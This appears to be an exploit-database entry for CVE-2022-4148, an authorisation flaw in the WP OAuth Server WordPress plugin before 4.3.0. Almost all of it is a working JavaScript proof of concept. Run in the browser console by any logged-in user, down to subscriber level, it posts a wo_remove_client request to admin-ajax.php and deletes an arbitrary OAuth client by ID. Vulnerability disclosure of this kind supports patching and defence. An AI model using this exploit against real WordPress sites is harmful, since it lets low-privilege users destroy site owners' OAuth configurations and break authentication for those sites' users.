Exploit for WP OAuth Server < 4.3.0 - Subscriber+ Arbitrary Client Deletion CVE-2022-4148

## https://sploitus.com/exploit?id=WPEX-ID:BE9B25C8-B0D7-4C22-81FF-E41650A4ED41
Run the below command in the developer console of the web browser while being on the blog as any authenticated users, such as subscriber, this will delete the client with ID 123

fetch('/wp-admin/admin-ajax.php', {
        method: 'POST',
        headers: new Headers({
            'Content-Type': 'application/x-www-form-urlencoded',
        }),
        body: 'action=wo_remove_client&client_id=123',
        redirect: 'follow'
    }).then(response => response.text()).then(result => console.log(result)).catch(error => console.log('error', error));